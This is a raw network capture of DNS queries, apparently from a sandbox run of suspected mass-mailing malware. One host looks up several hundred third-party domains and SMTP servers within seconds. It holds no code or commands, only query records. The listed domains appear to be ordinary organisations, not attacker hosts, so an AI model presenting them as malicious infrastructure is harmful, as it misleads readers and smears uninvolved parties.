Mar 10, 2023 07:55:38.678458929 CET	192.168.2.6	8.8.8.8	0xf154	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.683650970 CET	192.168.2.6	8.8.8.8	0xde28	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.704036951 CET	192.168.2.6	8.8.8.8	0xea19	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.705929995 CET	192.168.2.6	8.8.8.8	0x1dce	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.707376957 CET	192.168.2.6	8.8.8.8	0x339d	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.946569920 CET	192.168.2.6	8.8.8.8	0xfa7b	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.043843985 CET	192.168.2.6	8.8.8.8	0x480b	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.191750050 CET	192.168.2.6	8.8.8.8	0x1e4e	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.203969002 CET	192.168.2.6	8.8.8.8	0xe767	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.396821022 CET	192.168.2.6	8.8.8.8	0xbe28	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.482418060 CET	192.168.2.6	8.8.8.8	0x3c30	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.483731031 CET	192.168.2.6	8.8.8.8	0x9c30	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.484319925 CET	192.168.2.6	8.8.8.8	0x3ca4	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.484469891 CET	192.168.2.6	8.8.8.8	0xdee7	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.484893084 CET	192.168.2.6	8.8.8.8	0x96fb	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.485255957 CET	192.168.2.6	8.8.8.8	0xc6d5	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.485456944 CET	192.168.2.6	8.8.8.8	0x41fa	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.492533922 CET	192.168.2.6	8.8.8.8	0x9e7d	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.493149042 CET	192.168.2.6	8.8.8.8	0x7872	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.493490934 CET	192.168.2.6	8.8.8.8	0x1ab9	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.514267921 CET	192.168.2.6	8.8.8.8	0x969d	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.575444937 CET	192.168.2.6	8.8.8.8	0x2011	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.577866077 CET	192.168.2.6	8.8.8.8	0x3472	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.584258080 CET	192.168.2.6	8.8.8.8	0xaf65	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.620249033 CET	192.168.2.6	8.8.8.8	0xddda	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.668421030 CET	192.168.2.6	8.8.8.8	0x762b	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.694621086 CET	192.168.2.6	8.8.8.8	0xe460	Standard query (0)	in1.smtp.messaginguser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.699310064 CET	192.168.2.6	8.8.8.8	0xe8d0	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.703089952 CET	192.168.2.6	8.8.8.8	0xadd5	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.792187929 CET	192.168.2.6	8.8.8.8	0x2b6d	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.807621002 CET	192.168.2.6	8.8.8.8	0x5c01	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.817047119 CET	192.168.2.6	8.8.8.8	0x8011	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.822196007 CET	192.168.2.6	8.8.8.8	0x2dfa	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.838721991 CET	192.168.2.6	8.8.8.8	0xd2e4	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.934246063 CET	192.168.2.6	8.8.8.8	0xeeb9	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.055066109 CET	192.168.2.6	8.8.8.8	0xfa7b	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.089406013 CET	192.168.2.6	8.8.8.8	0x3379	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.090280056 CET	192.168.2.6	8.8.8.8	0xad74	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.091679096 CET	192.168.2.6	8.8.8.8	0xc23c	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.152149916 CET	192.168.2.6	8.8.8.8	0x64d3	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.351198912 CET	192.168.2.6	8.8.8.8	0x2989	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.354281902 CET	192.168.2.6	8.8.8.8	0x2290	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.534739971 CET	192.168.2.6	8.8.8.8	0xf758	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.547306061 CET	192.168.2.6	8.8.8.8	0x8afe	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.965739012 CET	192.168.2.6	8.8.8.8	0x20ef	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.966625929 CET	192.168.2.6	8.8.8.8	0x8510	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.967099905 CET	192.168.2.6	8.8.8.8	0x1f70	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.967355013 CET	192.168.2.6	8.8.8.8	0x7a3a	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.315773964 CET	192.168.2.6	8.8.8.8	0x6805	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.697643042 CET	192.168.2.6	8.8.8.8	0x8961	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.698780060 CET	192.168.2.6	8.8.8.8	0x57d0	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.701884985 CET	192.168.2.6	8.8.8.8	0x5122	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.936482906 CET	192.168.2.6	8.8.8.8	0xb1fb	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:43.423818111 CET	192.168.2.6	8.8.8.8	0xede7	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:45.958276033 CET	192.168.2.6	202.12.27.33	0x8a	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:45.983787060 CET	192.168.2.6	192.203.230.10	0xdc	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:46.006295919 CET	192.168.2.6	202.12.27.33	0xbe	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:46.477175951 CET	192.168.2.6	8.8.8.8	0xcb0b	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.490066051 CET	192.168.2.6	8.8.8.8	0x41fb	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.619338036 CET	192.168.2.6	8.8.8.8	0xebab	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.622786045 CET	192.168.2.6	8.8.8.8	0xa0e0	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.710748911 CET	192.168.2.6	8.8.8.8	0xe77a	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.717211962 CET	192.168.2.6	8.8.8.8	0x3402	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.798399925 CET	192.168.2.6	8.8.8.8	0x7f98	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.798527956 CET	192.168.2.6	8.8.8.8	0x57d5	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.850471020 CET	192.168.2.6	8.8.8.8	0x2682	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.856784105 CET	192.168.2.6	8.8.8.8	0xe64b	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.856995106 CET	192.168.2.6	8.8.8.8	0xf51a	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.894661903 CET	192.168.2.6	8.8.8.8	0xec33	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.894855976 CET	192.168.2.6	8.8.8.8	0xb59e	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.895379066 CET	192.168.2.6	8.8.8.8	0xa6ec	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.899734020 CET	192.168.2.6	8.8.8.8	0xad3	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.901550055 CET	192.168.2.6	8.8.8.8	0x9d5b	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.905127048 CET	192.168.2.6	8.8.8.8	0x1fd2	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.935000896 CET	192.168.2.6	8.8.8.8	0x1df7	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.055888891 CET	192.168.2.6	8.8.8.8	0x3e6c	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.122944117 CET	192.168.2.6	8.8.8.8	0xee66	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.550630093 CET	192.168.2.6	8.8.8.8	0xf884	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.575658083 CET	192.168.2.6	8.8.8.8	0x6355	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.581831932 CET	192.168.2.6	8.8.8.8	0x60b4	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.618954897 CET	192.168.2.6	8.8.8.8	0x6301	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.730618000 CET	192.168.2.6	8.8.8.8	0xe2ca	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.797230005 CET	192.168.2.6	8.8.8.8	0x529c	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.883277893 CET	192.168.2.6	8.8.8.8	0xb6ed	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.941361904 CET	192.168.2.6	8.8.8.8	0x880b	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.301397085 CET	192.168.2.6	8.8.8.8	0xd318	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.310978889 CET	192.168.2.6	8.8.8.8	0x7e9a	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.312077999 CET	192.168.2.6	8.8.8.8	0xa2cc	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.570039034 CET	192.168.2.6	8.8.8.8	0x87e8	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.574573040 CET	192.168.2.6	8.8.8.8	0xe6e2	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.613221884 CET	192.168.2.6	8.8.8.8	0x275d	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.662544966 CET	192.168.2.6	8.8.8.8	0xf9ab	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.667346001 CET	192.168.2.6	8.8.8.8	0x6604	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.675147057 CET	192.168.2.6	8.8.8.8	0x37f5	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.679224014 CET	192.168.2.6	8.8.8.8	0x50f6	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.681236982 CET	192.168.2.6	8.8.8.8	0x5256	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.066421032 CET	192.168.2.6	8.8.8.8	0x35e1	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.120137930 CET	192.168.2.6	8.8.8.8	0x880b	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.263948917 CET	192.168.2.6	8.8.8.8	0x16e9	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.271194935 CET	192.168.2.6	8.8.8.8	0x4a45	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.305923939 CET	192.168.2.6	8.8.8.8	0x5b26	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.306107044 CET	192.168.2.6	8.8.8.8	0xc1b2	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.317349911 CET	192.168.2.6	8.8.8.8	0x49ed	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.427958965 CET	192.168.2.6	8.8.8.8	0xa2b2	Standard query (0)	in1.smtp.messaginguser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.439060926 CET	192.168.2.6	8.8.8.8	0xf65f	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.452121019 CET	192.168.2.6	8.8.8.8	0xc9c1	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.573045015 CET	192.168.2.6	8.8.8.8	0x604	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.600949049 CET	192.168.2.6	8.8.8.8	0x26a5	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.642570972 CET	192.168.2.6	8.8.8.8	0x32d9	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.644195080 CET	192.168.2.6	8.8.8.8	0xb486	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.644715071 CET	192.168.2.6	8.8.8.8	0xe5c1	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.716582060 CET	192.168.2.6	8.8.8.8	0xc567	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.742032051 CET	192.168.2.6	8.8.8.8	0xb78c	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.775655031 CET	192.168.2.6	8.8.8.8	0x59eb	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.775732040 CET	192.168.2.6	8.8.8.8	0xc6ba	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.784670115 CET	192.168.2.6	8.8.8.8	0xaf18	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.916569948 CET	192.168.2.6	8.8.8.8	0xa565	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.926963091 CET	192.168.2.6	8.8.8.8	0x2b79	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.933605909 CET	192.168.2.6	8.8.8.8	0x59d1	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.950412989 CET	192.168.2.6	8.8.8.8	0xa2a6	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.011833906 CET	192.168.2.6	8.8.8.8	0xa1a8	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.019399881 CET	192.168.2.6	8.8.8.8	0xc791	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.048605919 CET	192.168.2.6	8.8.8.8	0xceba	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.058378935 CET	192.168.2.6	8.8.8.8	0x2116	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.091519117 CET	192.168.2.6	8.8.8.8	0xb5ee	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.097762108 CET	192.168.2.6	8.8.8.8	0x9eb7	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.110322952 CET	192.168.2.6	8.8.8.8	0xeeb1	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.123063087 CET	192.168.2.6	8.8.8.8	0xaf1b	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.128760099 CET	192.168.2.6	8.8.8.8	0x2a30	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.131660938 CET	192.168.2.6	8.8.8.8	0x25c5	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.213360071 CET	192.168.2.6	8.8.8.8	0x4adc	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.243069887 CET	192.168.2.6	8.8.8.8	0xf42a	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.425750971 CET	192.168.2.6	8.8.8.8	0x5fd2	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.500181913 CET	192.168.2.6	8.8.8.8	0xacba	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.502326965 CET	192.168.2.6	8.8.8.8	0xa87b	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.627341032 CET	192.168.2.6	8.8.8.8	0xaa99	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.664350986 CET	192.168.2.6	8.8.8.8	0xdd8c	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.666351080 CET	192.168.2.6	8.8.8.8	0x34a3	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.667639971 CET	192.168.2.6	8.8.8.8	0xa24c	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.697680950 CET	192.168.2.6	8.8.8.8	0x4c41	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.704718113 CET	192.168.2.6	8.8.8.8	0xe47b	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.713030100 CET	192.168.2.6	8.8.8.8	0x9980	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.756201982 CET	192.168.2.6	8.8.8.8	0x72a5	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.097383022 CET	192.168.2.6	8.8.8.8	0xb0ab	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.098654985 CET	192.168.2.6	8.8.8.8	0x6beb	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.128853083 CET	192.168.2.6	8.8.8.8	0x1bd9	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.141515017 CET	192.168.2.6	8.8.8.8	0x425b	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.167897940 CET	192.168.2.6	8.8.8.8	0xdf21	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.171247005 CET	192.168.2.6	8.8.8.8	0x289b	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.233144999 CET	192.168.2.6	8.8.8.8	0x5d76	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.312664032 CET	192.168.2.6	8.8.8.8	0x703e	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.312892914 CET	192.168.2.6	8.8.8.8	0xacf9	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.358061075 CET	192.168.2.6	8.8.8.8	0x50f	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.369544983 CET	192.168.2.6	8.8.8.8	0x6485	Standard query (0)	akr.co.id	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.377340078 CET	192.168.2.6	8.8.8.8	0x88ed	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.427835941 CET	192.168.2.6	8.8.8.8	0x511b	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.446732044 CET	192.168.2.6	8.8.8.8	0xd171	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.453860998 CET	192.168.2.6	8.8.8.8	0xe17	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.454071045 CET	192.168.2.6	8.8.8.8	0x4f7	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.454480886 CET	192.168.2.6	8.8.8.8	0x518b	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.518038988 CET	192.168.2.6	8.8.8.8	0x90e7	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.518882036 CET	192.168.2.6	8.8.8.8	0x9826	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.522850037 CET	192.168.2.6	8.8.8.8	0x81e5	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.537560940 CET	192.168.2.6	8.8.8.8	0xe030	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.666263103 CET	192.168.2.6	8.8.8.8	0x7e1c	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.677967072 CET	192.168.2.6	8.8.8.8	0xbbdc	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.693677902 CET	192.168.2.6	8.8.8.8	0x7cf9	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.755418062 CET	192.168.2.6	8.8.8.8	0x8b79	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.766583920 CET	192.168.2.6	8.8.8.8	0x426f	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.788831949 CET	192.168.2.6	8.8.8.8	0x5b8c	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.880140066 CET	192.168.2.6	8.8.8.8	0x4c41	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.887897015 CET	192.168.2.6	8.8.8.8	0x5c65	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.981983900 CET	192.168.2.6	8.8.8.8	0x5351	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.985781908 CET	192.168.2.6	8.8.8.8	0x1468	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.990550995 CET	192.168.2.6	8.8.8.8	0x7b95	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.996211052 CET	192.168.2.6	8.8.8.8	0xe110	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.139348984 CET	192.168.2.6	8.8.8.8	0x690	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.156145096 CET	192.168.2.6	8.8.8.8	0x7e8d	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.200714111 CET	192.168.2.6	8.8.8.8	0x720c	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.255387068 CET	192.168.2.6	8.8.8.8	0x9cf	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.259212971 CET	192.168.2.6	8.8.8.8	0xc37e	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.373550892 CET	192.168.2.6	8.8.8.8	0xc67a	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.375222921 CET	192.168.2.6	8.8.8.8	0xbdf5	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.418884039 CET	192.168.2.6	8.8.8.8	0xdb44	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.423491955 CET	192.168.2.6	8.8.8.8	0x4676	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.423568964 CET	192.168.2.6	8.8.8.8	0xa638	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.432534933 CET	192.168.2.6	8.8.8.8	0x676f	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.438935041 CET	192.168.2.6	8.8.8.8	0x88d2	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.444334984 CET	192.168.2.6	8.8.8.8	0x4124	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.446569920 CET	192.168.2.6	8.8.8.8	0x7b32	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.782366991 CET	192.168.2.6	8.8.8.8	0x464	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
